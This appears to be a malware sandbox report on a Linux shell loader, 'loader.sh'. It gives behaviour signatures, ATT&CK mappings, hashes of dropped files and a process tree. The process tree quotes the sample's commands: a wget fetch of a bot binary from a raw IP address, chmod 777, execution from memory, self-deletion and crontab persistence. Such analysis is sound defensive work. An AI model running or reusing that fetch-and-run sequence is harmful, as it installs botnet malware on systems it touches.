Overview

overview

7

Static

static

1

loader.sh

ubuntu-18.04-amd64

7

loader.sh

debian-9-armhf

7

loader.sh

debian-9-mips

loader.sh

debian-9-mipsel

Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    03/08/2026, 02:02

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    loader.sh
  • Size 1KB
  • Sample260803-cgbsssam6v
  • SHA256 ac48d17645e060f4ce0b9e22c43e7175ecc0c304fb2a4a3cc8a377a0548f2fed
  • MD5 SHA1 SHA512 TLSH
Score
7/10
credential_accessdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationupx

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Deletes itself 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Runs EXE from memory 1 IoCs

    Runs an executable from memory, likely to minimize footprint

  • Unexpected DNS network traffic destination 1 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Creates/modifies Cron job 1 TTPs 3 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

    persistence
  • Reads MAC address of network interface 2 TTPs 2 IoCs

    Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

    defense_evasiondiscovery
  • Reads process memory 1 TTPs 42 IoCs

    Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

    credential_access
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Changes its process name 3 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 5 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/loader.sh
    /tmp/loader.sh
    1⤵
    • Executes dropped EXE
    PID:644
    • /bin/uname
      uname -m
      2⤵
        PID:645
      • /usr/bin/dirname
        dirname /tmp/loader.sh
        2⤵
          PID:650
        • /usr/bin/basename
          basename /tmp/loader.sh
          2⤵
            PID:652
          • /usr/bin/wget
            wget http://95.164.53.73/bot.armv7-a -O bot.armv7-a
            2⤵
            • Writes file to tmp directory
            PID:655
          • /bin/chmod
            chmod 777 bot.armv7-a
            2⤵
            • File and Directory Permissions Modification
            PID:674
          • /bin/rm
            rm -rf bot.armv7-a
            2⤵
              PID:677
            • /tmp/bot.armv7-a
              ./bot.armv7-a
              2⤵
              • Runs EXE from memory
              PID:676
            • /bin/rm
              rm -rf /tmp/loader.sh
              2⤵
                PID:678
            • /proc/self/fd/3
              ./bot.armv7-a
              1⤵
              • Deletes itself
              • Executes dropped EXE
              • Reads MAC address of network interface
              • Changes its process name
              • Enumerates kernel/hardware configuration
              PID:676
            • /usr/lib/systemd/systemd-journald
              /usr/lib/systemd/systemd-journald "/memfd: (deleted)"
              1⤵
              • Modifies init.d
              • Reads MAC address of network interface
              • Reads process memory
              • Changes its process name
              • Enumerates kernel/hardware configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:676
              • /usr/sbin/crontab
                crontab -l
                2⤵
                  PID:691
                • /usr/bin/crontab
                  crontab -l
                  2⤵
                    PID:691
                  • /usr/sbin/crontab
                    crontab /tmp/.cron_tmp
                    2⤵
                      PID:692
                    • /usr/bin/crontab
                      crontab /tmp/.cron_tmp
                      2⤵
                      • Creates/modifies Cron job
                      • Reads runtime system information
                      PID:692
                    • /usr/sbin/crontab
                      crontab -l
                      2⤵
                        PID:695
                      • /usr/bin/crontab
                        crontab -l
                        2⤵
                        • Reads runtime system information
                        PID:695
                      • /usr/sbin/crontab
                        crontab /tmp/.cron_tmp
                        2⤵
                          PID:698
                        • /usr/bin/crontab
                          crontab /tmp/.cron_tmp
                          2⤵
                          • Creates/modifies Cron job
                          PID:698
                        • /usr/sbin/crontab
                          crontab -l
                          2⤵
                            PID:700
                          • /usr/bin/crontab
                            crontab -l
                            2⤵
                              PID:700
                            • /usr/sbin/crontab
                              crontab /tmp/.cron_tmp
                              2⤵
                                PID:702
                              • /usr/bin/crontab
                                crontab /tmp/.cron_tmp
                                2⤵
                                • Creates/modifies Cron job
                                PID:702

                            Network

                                  MITRE ATT&CK Enterprise v16

                                  Reconnaissance

                                  Resource Development

                                  Initial Access

                                  Execution

                                  Scheduled Task/Job

                                  1
                                  T1053

                                  Cron

                                  1
                                  T1053.003

                                  Persistence

                                  Boot or Logon Autostart Execution

                                  1
                                  T1547

                                  Boot or Logon Initialization Scripts

                                  1
                                  T1037

                                  RC Scripts

                                  1
                                  T1037.004

                                  Scheduled Task/Job

                                  1
                                  T1053

                                  Cron

                                  1
                                  T1053.003

                                  Privilege Escalation

                                  Boot or Logon Autostart Execution

                                  1
                                  T1547

                                  Boot or Logon Initialization Scripts

                                  1
                                  T1037

                                  RC Scripts

                                  1
                                  T1037.004

                                  Scheduled Task/Job

                                  1
                                  T1053

                                  Cron

                                  1
                                  T1053.003

                                  Defense Evasion

                                  File and Directory Permissions Modification

                                  1
                                  T1222

                                  Linux and Mac File and Directory Permissions Modification

                                  1
                                  T1222.002

                                  Credential Access

                                  OS Credential Dumping

                                  1
                                  T1003

                                  Proc Filesystem

                                  1
                                  T1003.007

                                  Discovery

                                  System Information Discovery

                                  1
                                  T1082

                                  System Network Configuration Discovery

                                  1
                                  T1016

                                  Wi-Fi Discovery

                                  1
                                  T1016.002

                                  System Network Connections Discovery

                                  1
                                  T1049

                                  Lateral Movement

                                  Collection

                                  Command and Control

                                  Exfiltration

                                  Impact

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  .kworker
                                  • Path /etc/init.d/.kworker
                                  • Size 65B
                                  • SHA256 41602099ac3b9c7e713fa0d7bf9c6d45ef23feabec6388df7bc24f5069f9b249
                                  • MD5 SHA1 SHA512 TLSH
                                  Submit Download

                                  3
                                  • Path /proc/self/fd/3
                                  • Size 175KB
                                  • SHA256 f6dea2ab6ac8e703b60e2305571eb19155aa6281599d962f4020f8c8a2027272
                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                  Submit Download

                                  .bot_debug.log
                                  • Path /tmp/.bot_debug.log
                                  • Size 230B
                                  • SHA256 38316204b9b6029bcb857332c49529574d126838535ce088f04b7314bd80897d
                                  • MD5 SHA1 SHA512 TLSH
                                  Submit Download

                                  .bot_debug.log
                                  • Path /tmp/.bot_debug.log
                                  • Size 24B
                                  • SHA256 1bdaa08509fd9b2cd62d7552a09658b41b4c9fb1492c0ff719c439f289c42fa5
                                  • MD5 SHA1 SHA512
                                  Submit Download

                                  .bot_debug.log
                                  • Path /tmp/.bot_debug.log
                                  • Size 56B
                                  • SHA256 1881f6b4e0ab01e313d45cac75d4e7dd31b0332c9f30ed60cb800774c9e2ff8a
                                  • MD5 SHA1 SHA512 TLSH
                                  Submit Download

                                  .bot_debug.log
                                  • Path /tmp/.bot_debug.log
                                  • Size 76B
                                  • SHA256 270601de9783e204a41ab4f8e497e6088371d71dfd179d7d824ef2699f8dc6d9
                                  • MD5 SHA1 SHA512 TLSH
                                  Submit Download

                                  .bot_debug.log
                                  • Path /tmp/.bot_debug.log
                                  • Size 102B
                                  • SHA256 2ecd163b77f850a0dd7d92dd90d3e75fc3f92d8dca8471a55a6437bc767a3981
                                  • MD5 SHA1 SHA512 TLSH
                                  Submit Download

                                  .bot_debug.log
                                  • Path /tmp/.bot_debug.log
                                  • Size 130B
                                  • SHA256 7d83e482eea6ce7af21ceb72de924e98c9a3f4b9006680a51374181d52baa06c
                                  • MD5 SHA1 SHA512 TLSH
                                  Submit Download

                                  .cron_tmp
                                  • Path /tmp/.cron_tmp
                                  • Size 52B
                                  • SHA256 ddd3c1932a4d94529c3f6883ead09c1ba051cab02455e2a87206634a40c20d95
                                  • MD5 SHA1 SHA512 TLSH
                                  Submit Download

                                  .cron_tmp
                                  • Path /tmp/.cron_tmp
                                  • Size 100B
                                  • SHA256 31f3deb18ee42758c5f33b791d58b279a172f9c043897dfb536f0b2f9e5438f6
                                  • MD5 SHA1 SHA512 TLSH
                                  Submit Download

                                  .cron_tmp
                                  • Path /tmp/.cron_tmp
                                  • Size 152B
                                  • SHA256 8cd445f0cdd8ea0972472cb600c02025479f1d2154115fc38e5862f397dfb07d
                                  • MD5 SHA1 SHA512 TLSH
                                  Submit Download

                                  bot.armv7-a
                                  • Path /tmp/bot.armv7-a
                                  • Size 470KB
                                  • SHA256 f705b64b8a8dcf8de34dd9c6f1ebcbb5aee140dd973ec70bf998d172ea7d6893
                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                  Submit Download

                                  tmp.KlwrpK
                                  • Path /var/spool/cron/crontabs/tmp.KlwrpK
                                  • Size 288B
                                  • SHA256 9b2ba55f118088c16586070a0a2848d59b4aa2f297c8c5afdfa0540070d7665d
                                  • MD5 SHA1 SHA512 TLSH
                                  Submit Download

                                  tmp.UvJYeC
                                  • Path /var/spool/cron/crontabs/tmp.UvJYeC
                                  • Size 240B
                                  • SHA256 deadd0e6f6e22f3229ed5554b46df3971050a9b1006c7cb7bd04b91476de98db
                                  • MD5 SHA1 SHA512 TLSH
                                  Submit Download

                                  tmp.ulnvwT
                                  • Path /var/spool/cron/crontabs/tmp.ulnvwT
                                  • Size 340B
                                  • SHA256 cad6256246d24170e4f9e6f6c924951f9fa309fe87252708407a0ecdf1284af9
                                  • MD5 SHA1 SHA512 TLSH
                                  Submit Download

                                  .cache_6732b62e
                                  • Path /var/tmp/.cache_6732b62e
                                  • Size 68B
                                  • SHA256 e0e5be160b0fa58a280f603ea712fe677310c63a88e82bdd5fd0aaee80a4deb9
                                  • MD5 SHA1 SHA512 TLSH
                                  Submit Download